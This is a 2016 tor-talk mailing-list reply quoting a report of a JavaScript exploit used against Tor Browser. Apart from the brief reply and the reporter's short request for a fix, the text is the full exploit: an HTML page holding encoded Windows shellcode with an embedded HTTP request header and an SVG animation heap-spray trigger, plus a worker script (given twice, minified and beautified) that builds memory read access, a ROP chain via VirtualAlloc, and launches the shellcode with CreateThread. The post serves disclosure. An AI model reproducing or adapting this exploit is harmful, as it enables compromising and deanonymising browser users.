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Re: [tor-talk] Javascript exploit

The first var looks like an encryption key. Just my humble observation and food for thought. 



On 11/29/2016 4:55 PM, firstwatch@xxxxxxxxxxx wrote:

This is an Javascript exploit actively used against TorBrowser NOW. It
consists of one HTML and one CSS file, both pasted below and also
de-obscured. The exact functionality is unknown but it's getting access to
"VirtualAlloc" in "kernel32.dll" and goes from there. Please fix ASAP. I
had to break the "thecode" line in two in order to post, remove ' + ' in
the middle to restore it.

HTML:

<html>
   <head>
     <script>

   var thecode
='\ue8fc\u0089\u0000\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u0000\u858d\u029e\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u0000\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u0000\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u0000\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u0000\uc085\u850f\u00f6\u0000\ue857\u00fa\u0000\u895e\u8dca\ua7bd\u0002
  \ue800\u00ec\u0000\u834f\u20fa\u057c\u20ba\u0000\u8900\u56d1\ua4f3\u0db9\u0000\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f'
+
'\u00ae\u0000\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u0000\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u0000\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u0000\ub70f\u830f\u06f9\u7072\u06b9\u0000\ub800\u0010\u0000\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u0000\ua4f3\u36e8\u0000\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u0000\u0000\u8d03\ua7bd\u0002\ue800\uffe4\uffff\ub94f\u004f\u0000\ub58d\u026e\u0000\ua4f3\ubd8d\u02a7\u0000\ucbe8\uffff\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\
  u6f48\u7473\u203a\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u4190';


     var worker = new Worker('cssbanner.js');

       worker.postMessage(thecode);

       var svgns = 'http://www.w3.org/2000/svg';
       var heap80 = new Array(0x1000);
       var heap100 = new Array(0x4000);
       var block80 = new ArrayBuffer(0x80);
       var block100 = new ArrayBuffer(0x100);
       var sprayBase = undefined;
       var arrBase = undefined;

       var animateX = undefined;
       var containerA = undefined;

       var offset = 0x90;
       if
(/.*Firefox\/(4[7-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent))
       {
         offset = 0x88; // versions 47.0 or greater
       }

       var $ = function(id) { return document.getElementById(id); }

       var exploit = function()
       {
         var u32 = new Uint32Array(block80)
         u32[0x2] = arrBase - offset;
         u32[0x8] = arrBase - offset;
         u32[0xE] = arrBase - offset;


         for(i = heap100.length/2; i < heap100.length; i++)
         {
           heap100[i] = block100.slice(0)
         }

         for(i = 0; i < heap80.length/2; i++)
         {
           heap80[i] = block80.slice(0)
         }

         animateX.setAttribute('begin', '59s')
         animateX.setAttribute('begin', '58s')

         for(i = heap80.length/2; i < heap80.length; i++)
         {
           heap80[i] = block80.slice(0)
         }

         for(i = heap100.length/2; i < heap100.length; i++)
         {
           heap100[i] = block100.slice(0)
         }

         animateX.setAttribute('begin', '10s')
         animateX.setAttribute('begin', '9s')
         window.dump('PAUSING!!! YAYA');
         containerA.pauseAnimations();
     }

   	worker.onmessage = function(e)
   	{
   		worker.onmessage = function(e)
   		{
         window.setTimeout(function()
           {
             worker.terminate();

             document.body.innerHTML = '';
             document.getElementsByTagName('head')[0].innerHTML = '';
             document.body.setAttribute('onload', '')
           }, 1000);
   		}

   		arrBase = e.data;
   		exploit();
     }


     var idGenerator = function()
     {
       return 'id' +
(((1+Math.random())*0x10000)|0).toString(16).substring(1);
     }


     var craftDOM = function()
     {
       containerA = document.createElementNS(svgns, 'svg')
       var containerB = document.createElementNS(svgns, 'svg');

       animateX = document.createElementNS(svgns, 'animate')
       var animateA = document.createElementNS(svgns, 'animate')
       var animateB = document.createElementNS(svgns, 'animate')

       var animateC = document.createElementNS(svgns, 'animate')

       var idX = idGenerator();
       var idA = idGenerator();
       var idB = idGenerator();
       var idC = idGenerator();

       animateX.setAttribute('id', idX);
       animateA.setAttribute('id', idA);
       animateA.setAttribute('end', '50s');
       animateB.setAttribute('id', idB);
       animateB.setAttribute('begin', '60s');
       animateB.setAttribute('end', idC + '.end');
       animateC.setAttribute('id', idC);
       animateC.setAttribute('begin', '10s');
       animateC.setAttribute('end', idA + '.end');

       containerA.appendChild(animateX)
       containerA.appendChild(animateA)
       containerA.appendChild(animateB)

       containerB.appendChild(animateC)

       document.body.appendChild(containerA);
       document.body.appendChild(containerB);
     }
      window.onload = craftDOM;
    //
     </script>

     <style>
         #mtdiv{
             position: absolute;
             width: 960px;
             height: 166px;
             z-index: 15;
             top: 100px;
             left: 50%;
             margin: 0 0 0 -480px;
         }
     </style>
   </head>
   <body bgcolor='#2F3236'>

       <div id='mtdiv'>
           <img src='mt.png'/>
       </div>
   </body>
   <script>
         setTimeout('window.location = \'member.php\';', 2000);
  </script>

</html>

===================================================================================================

content of "cssbanner.js":

self.onmessage = function(msg) {

   thecode = msg.data;
   var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
& 65535) + String.fromCharCode(a) };
   function
Memory(b,a,f){this._base_addr=b;this._read=a;this._write=f;this._abs_read=function(a){a>=this._base_addr?a=this._read(a-this._base_addr):(a=4294967295-this._base_addr+1+a,a=this._read(a));return
0>a?4294967295+a+1:a};this._abs_write=function(a,b){a>=this._base_addr?this._write(a-this._base_addr,b):(a=4294967295-this._base_addr+1+a,this._write(a,b))};this.readByte=function(a){return
this.read(a)&255};this.readWord=function(a){return
this.read(a)&65535};this.readDword=function(a){return this.read(a)};
   this.read=function(a,b){if(a%4){var
c=this._abs_read(a&4294967292),d=this._abs_read(a+4&4294967292),e=a%4;return
c>>>8*e|d<<8*(4-e)}return
this._abs_read(a)};this.readStr=function(a){for(var
b="",c=0;;){if(32==c)return"";var
d=this.readByte(a+c);if(0==d)break;b+=String.fromCharCode(d);c++}return
b};this.write=function(a){}}
   function PE(b,a){this.mem=b;this.export_table=this.module_base=void
0;this.export_table_size=0;this.import_table=void
0;this.import_table_size=0;this.find_module_base=function(a){for(a&=4294901760;a;){if(23117==this.mem.readWord(a))return
this.module_base=a;a-=65536}};this._resolve_pe_structures=function(){peFile=this.module_base+this.mem.readWord(this.module_base+60);if(17744!=this.mem.readDword(peFile))throw"Bad
NT
Signature";this.pe_file=peFile;this.optional_header=this.pe_file+36;this.export_directory=
   this.module_base+this.mem.readDword(this.pe_file+120);this.export_directory_size=this.mem.readDword(this.pe_file+124);this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);this.import_directory_size=this.mem.readDword(this.pe_file+132)};this.resolve_imported_function=function(a,b){void
0==this.import_directory&&this._resolve_pe_structures();for(var
e=this.import_directory,c=e+this.import_directory_size;e<c;){var
d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);if(a.toUpperCase()==
   d.toUpperCase()){for(var
c=this.mem.readDword(e)+this.module_base,e=this.mem.readDword(e+16)+this.module_base,d=this.mem.readDword(c),f=0;0!=d;){if(this.mem.readStr(d+this.module_base+2).toUpperCase()==b.toUpperCase())return
this.mem.readDword(e+4*f);f++;d=this.mem.readDword(c+4*f)}break}e+=20}return
0};void 0!=a&&this.find_module_base(a)}
   function ROP(b,a){this.mem=b;this.pe=new
PE(b,a);this.pe._resolve_pe_structures();this.module_base=this.pe.module_base+4096;this.findSequence=function(a){for(var
b=0;;){for(var
e=0,c=0;c<a.length;c++)if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)e++;else
break;if(e==a.length)return
this.module_base+b;b++}};this.findStackPivot=function(){return
this.findSequence([148,195])};this.findPopRet=function(a){return
this.findSequence([88,195])};this.ropChain=function(a,b,e,c){c=void
0!=c?c:new ArrayBuffer(4096);
   c=new Uint32Array(c);var
d=this.findStackPivot(),f=this.findPopRet("EAX"),g=this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");c[0]=f+1;c[1]=f;c[2]=a+b+4*e+4;c[3]=d;for(i=0;i<e;i++)c[(b>>2)+i]=d;d=(b+4>>2)+e;c[d++]=g;c[d++]=a+(b+4*e+28);c[d++]=a;c[d++]=4096;c[d++]=4096;c[d++]=64;c[d++]=3435973836;return
c}}
   var conv=new ArrayBuffer(8),convf64=new Float64Array(conv),convu32=new
Uint32Array(conv),qword2Double=function(b,a){convu32[0]=b;convu32[1]=a;return
convf64[0]},doubleFromFloat=function(b,a){convf64[0]=b;return
convu32[a]},sprayArrays=function(){for(var
b=Array(262138),a=0;262138>a;a++)b[a]=fzero;for(a=0;a<b.length;a+=512)b[a+1]=memory,b[a+21]=qword2Double(0,2),b[a+14]=qword2Double(arrBase+o1,0),b[a+(o1+8)/8]=qword2Double(arrBase+o2,0),b[a+(o2+0)/8]=qword2Double(2,0),b[a+(o2+8)/8]=qword2Double(arrBase+
   o3,arrBase+13),b[a+(o3+0)/8]=qword2Double(16,0),b[a+(o3+24)/8]=qword2Double(2,0),b[a+(o3+32)/8]=qword2Double(arrBase+o5,arrBase+o4),b[a+(o4+0)/8]=qword2Double(0,arrBase+o6),b[a+(o5+0)/8]=qword2Double(arrBase+o7,0),b[a+(o6+8)/8]=qword2Double(2,0),b[a+(o7+8)/8]=qword2Double(arrBase+o7+16,0),b[a+(o7+16)/8]=qword2Double(0,4026531840),b[a+(o7+32)/8]=qword2Double(0,3220176896),b[a+(o7+48)/8]=qword2Double(2,0),b[a+(o7+56)/8]=qword2Double(1,0),b[a+(o7+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o7+112)/
   8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+(o7+168)/8]=qword2Double(0,2),b[a+(o9+0)/8]=qword2Double(arrBase+o10,2),b[a+(o10+0)/8]=qword2Double(2,0),b[a+(o10+8)/8]=qword2Double(0,268435456),b[a+(o11+8)/8]=qword2Double(arrBase+o11+16,0),b[a+(o11+16)/8]=qword2Double(0,4026531840),b[a+(o11+32)/8]=qword2Double(0,3220176896),b[a+(o11+48)/8]=qword2Double(2,0),b[a+(o11+56)/8]=qword2Double(1,0),b[a+(o11+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o11+112)/8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+
   (o11+168)/8]=qword2Double(0,2);for(a=0;a<spr.length;a++)spr[a]=b.slice(0)},vtable_offset=300;/.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?vtable_offset=304:/.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)&&(vtable_offset=308);
   var spr=Array(400),arrBase=805306416,ropArrBuf=new
ArrayBuffer(4096),o1=176,o2=256,o3=768,o4=832,o5=864,o6=928,o7=1024,o8=1280,o9=1344,o10=1376,o11=1536,oRop=1792,memory=new
Uint32Array(16),len=memory.length,arr_index=0,arr_offset=0;fzero=qword2Double(0,0);0!=thecode.length%2&&(thecode+="\u9090");sprayArrays();postMessage(arrBase);
   for(memarrayloc=void 0;void
0==memarrayloc;)for(i=0;i<spr.length;i++)for(offset=0;offset<spr[i].length;offset+=512)if("object"!=typeof
spr[i][offset+1]){memarrayloc=doubleFromFloat(spr[i][offset+1],0);arr_index=i;arr_offset=offset;spr[i][offset+(o2+0)/8]=qword2Double(65,0);spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);for(j=0;33>j;j++)spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);spr[i][offset+(o3+8)/8]=qword2Double(0,0);spr[i][offset+(o5+0)/8]=qword2Double(arrBase+
   o11,0);spr[i][offset+(o7+168)/8]=qword2Double(0,3);spr[i][offset+(o7+88)/8]=qword2Double(0,2);break}for(;memory.length==len;);var
mem=new Memory(memarrayloc+48,function(b){return
memory[b/4]},function(b,a){memory[b/4]=a}),xulPtr=mem.readDword(memarrayloc+12);spr[arr_index][arr_offset+1]=ropArrBuf;ropPtr=mem.readDword(arrBase+8);spr[arr_index][arr_offset+1]=null;ropBase=mem.readDword(ropPtr+16);var
rop=new
ROP(mem,xulPtr);rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
   var backupESP=rop.findSequence([137,1,195]),ropChain=new
Uint32Array(ropArrBuf);ropChain[0]=backupESP;CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");for(var
i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);ropChain[i++]=3296825488;ropChain[i++]=2048;ropChain[i++]=1347469361;ropChain[i++]=1528949584;ropChain[i++]=3092271187;ropChain[i++]=CreateThread;ropChain[i++]=3096498431;ropChain[i++]=arrBase+16;ropChain[i++]=1955274891;ropChain[i++]=280697892;ropChain[i++]=704643071;
   ropChain[i++]=2425406428;ropChain[i++]=4294957800;ropChain[i++]=2425393407;for(var
j=0;j<thecode.length;j+=2)ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);spr[arr_index][arr_offset+3]=qword2Double(0,256);spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);postMessage("GREAT
SUCCESS");

};


Beautified:

self.onmessage =
function(msg) {

   thecode = msg.data;
   var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
& 65535) + String.fromCharCode(a) };

   function Memory(b,a,f)
   {
       this._base_addr=b;
       this._read=a;
       this._write=f;
       this._abs_read = function(a) {
           a >= this._base_addr ? a = this._read( a - this._base_addr) : (
a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) );
           return 0>a?4294967295+a+1:a

       };
       this._abs_write = function(a,b) {
           a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a
= 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
       };
       this.readByte = function(a) {
           return this.read(a) & 255

       };
       this.readWord = function(a) {
           return this.read(a) & 65535
       };
       this.readDword = function(a){ return this.read(a) };
       this.read = function(a,b) {
           if (a%4) {
               var c = this._abs_read( a & 4294967292),
                   d = this._abs_read( a+4 & 4294967292),
                   e = a%4;
               return c>>>8*e | d<<8*(4-e)
           }
           return this._abs_read(a)
       };
       this.readStr = function(a) {
           for(var b = "", c = 0;;) {
               if (32 == c)
                   return "";
               var d = this.readByte(a+c);
               if(0 == d)
                   break;
               b += String.fromCharCode(d);
               c++
           }
           return b

       };
       this.write = function(a){}
   }
   function PE(b,a) {
       this.mem = b;
       this.export_table = this.module_base = void 0;
       this.export_table_size = 0;
       this.import_table = void 0;
       this.import_table_size = 0;
       this.find_module_base = function(a) {
           for(a &= 4294901760; a; ) {
               if(23117 == this.mem.readWord(a))
                   return this.module_base=a;
               a -= 65536
           }
       };
       this._resolve_pe_structures = function() {
           peFile = this.module_base + this.mem.readWord(this.module_base+60);
           if(17744 != this.mem.readDword(peFile))
               throw"Bad NT Signature";
           this.pe_file = peFile;
           this.optional_header = this.pe_file+36;
           this.export_directory =
this.module_base+this.mem.readDword(this.pe_file+120);
           this.export_directory_size = this.mem.readDword(this.pe_file+124);
           this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
           this.import_directory_size=this.mem.readDword(this.pe_file+132)};
           this.resolve_imported_function=function(a,b){
               void 0==this.import_directory&&this._resolve_pe_structures();
               for(var
e=this.import_directory,c=e+this.import_directory_size;e<c;){
                   var
d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);
                   if(a.toUpperCase()==d.toUpperCase()){
                       for(var c = this.mem.readDword(e) + this.module_base,
                               e = this.mem.readDword(e+16) +
this.module_base,
                               d = this.mem.readDword(c),
                               f = 0 ; 0 !=d ;)
                       {
                           if(this.mem.readStr(d+this.module_base+2).toUpperCase()
== b.toUpperCase())
                               return this.mem.readDword(e+4*f);
                           f++;
                           d = this.mem.readDword(c+4*f)
                       }
                       break
                   }
                   e+=20
               }
               return 0
           };
           void 0!=a && this.find_module_base(a)
       }
       function ROP(b,a){
          this.mem = b;
          this.pe = new PE(b,a);
          this.pe._resolve_pe_structures();
          this.module_base = this.pe.module_base+4096;
          this.findSequence = function(a) {
             for(var b=0;;) {
                 for(var e=0,c=0;c<a.length;c++)
                     if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)
                         e++;
                     else
                         break;
                 if(e==a.length)
                     return this.module_base+b;
                 b++

          }

      };
      this.findStackPivot=function() {
          return this.findSequence([148,195])

      };
      this.findPopRet=function(a) {
          return this.findSequence([88,195])

      };
      this.ropChain=function(a,b,e,c) {
          c = void 0 != c ? c : new ArrayBuffer(4096);
          c = new Uint32Array(c);
          var d = this.findStackPivot(),
              f = this.findPopRet("EAX"),
              g =
this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");
          c[0]= f+1;
          c[1]= f;
          c[2]= a+b+4*e+4;
          c[3]= d;
          for(i=0;i<e;i++)
              c[(b>>2)+i] = d;
          d =(b+4>>2)+e;
          c[d++]=g;
          c[d++]=a+(b+4*e+28);
          c[d++]=a;
          c[d++]=4096;
          c[d++]=4096;
          c[d++]=64;
          c[d++]=3435973836;
          return c
      }
   }
   var conv=new ArrayBuffer(8),
       convf64=new Float64Array(conv),
       convu32=new Uint32Array(conv),
       qword2Double=function(b,a) {
           convu32[0]=b;
           convu32[1]=a;
           return convf64[0]
       },
       doubleFromFloat = function(b,a) {
           convf64[0]=b;
           return convu32[a]

       },
       sprayArrays=function() {
           for(var b=Array(262138),a=0;262138>a;a++)
               b[a]=fzero;
           for(a=0;a<b.length;a+=512)
               b[a+1] = memory,
               b[a+21] = qword2Double(0,2),
               b[a+14] = qword2Double(arrBase+o1,0),
               b[a+(o1+8)/8] = qword2Double(arrBase+o2,0),
               b[a+(o2+0)/8] = qword2Double(2,0),
               b[a+(o2+8)/8] = qword2Double(arrBase+o3,arrBase+13),
               b[a+(o3+0)/8] = qword2Double(16,0),
               b[a+(o3+24)/8] = qword2Double(2,0),
               b[a+(o3+32)/8] = qword2Double(arrBase+o5,arrBase+o4),
               b[a+(o4+0)/8] = qword2Double(0,arrBase+o6),
               b[a+(o5+0)/8] = qword2Double(arrBase+o7,0),
               b[a+(o6+8)/8] = qword2Double(2,0),
               b[a+(o7+8)/8] = qword2Double(arrBase+o7+16,0),
               b[a+(o7+16)/8] = qword2Double(0,4026531840),
               b[a+(o7+32)/8] = qword2Double(0,3220176896),
               b[a+(o7+48)/8] = qword2Double(2,0),
               b[a+(o7+56)/8] = qword2Double(1,0),
               b[a+(o7+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
               b[a+(o7+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
               b[a+(o7+168)/8] = qword2Double(0,2),
               b[a+(o9+0)/8] = qword2Double(arrBase+o10,2),
               b[a+(o10+0)/8] = qword2Double(2,0),
               b[a+(o10+8)/8] = qword2Double(0,268435456),
               b[a+(o11+8)/8] = qword2Double(arrBase+o11+16,0),
               b[a+(o11+16)/8] = qword2Double(0,4026531840),
               b[a+(o11+32)/8] = qword2Double(0,3220176896),
               b[a+(o11+48)/8] = qword2Double(2,0),
               b[a+(o11+56)/8] = qword2Double(1,0),
               b[a+(o11+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
               b[a+(o11+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
               b[a+(o11+168)/8] = qword2Double(0,2);
           for(a=0;a<spr.length;a++)
               spr[a]=b.slice(0)
       }, vtable_offset=300;
       /.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?
vtable_offset=304 :
       /.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)
&& (vtable_offset=308);
       var spr=Array(400),
       arrBase=805306416,
       ropArrBuf=new ArrayBuffer(4096),
       o1=176,
       o2=256,
       o3=768,
       o4=832,
       o5=864,
       o6=928,
       o7=1024,
       o8=1280,
       o9=1344,
       o10=1376,
       o11=1536,
       oRop=1792,
       memory=new Uint32Array(16),
       len=memory.length,
       arr_index=0,
       arr_offset=0;
       fzero=qword2Double(0,0);
       0!=thecode.length%2&&(thecode+="\u9090");
       sprayArrays();
       postMessage(arrBase);
       for(memarrayloc=void 0;void 0==memarrayloc;)
           for(i=0;i<spr.length;i++)
               for(offset=0;offset<spr[i].length;offset+=512)
                  if("object" != typeof spr[i][offset+1]) {
                      memarrayloc=doubleFromFloat(spr[i][offset+1],0);
                      arr_index=i;
                      arr_offset=offset;
                      spr[i][offset+(o2+0)/8]=qword2Double(65,0);
                      spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);
                      for(j=0;33>j;j++)
                          spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);
                      spr[i][offset+(o3+8)/8]=qword2Double(0,0);
                      spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0);
                      spr[i][offset+(o7+168)/8]=qword2Double(0,3);
                      spr[i][offset+(o7+88)/8]=qword2Double(0,2);
                      break
                  }
       for(;memory.length==len;);
       var mem=new Memory(memarrayloc+48,
                          function(b){return memory[b/4]},
                          function(b,a){memory[b/4]=a}),
           xulPtr=mem.readDword(memarrayloc+12);
       spr[arr_index][arr_offset+1]=ropArrBuf;
       ropPtr=mem.readDword(arrBase+8);
       spr[arr_index][arr_offset+1]=null;
       ropBase=mem.readDword(ropPtr+16);
       var rop=new ROP(mem,xulPtr);
       rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
       var backupESP=rop.findSequence([137,1,195]), ropChain=new
Uint32Array(ropArrBuf);
       ropChain[0]=backupESP;
       CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");
       for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);
       ropChain[i++]=3296825488;
       ropChain[i++]=2048;
       ropChain[i++]=1347469361;
       ropChain[i++]=1528949584;
       ropChain[i++]=3092271187;
       ropChain[i++]=CreateThread;
       ropChain[i++]=3096498431;
       ropChain[i++]=arrBase+16;
       ropChain[i++]=1955274891;
       ropChain[i++]=280697892;
       ropChain[i++]=704643071;
       ropChain[i++]=2425406428;
       ropChain[i++]=4294957800;
       ropChain[i++]=2425393407;
       for (var j=0;j<thecode.length;j+=2)
           ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);
       spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);
       spr[arr_index][arr_offset+3]=qword2Double(0,256);
       spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);
       spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);
       spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);
       postMessage("GREAT SUCCESS");
};







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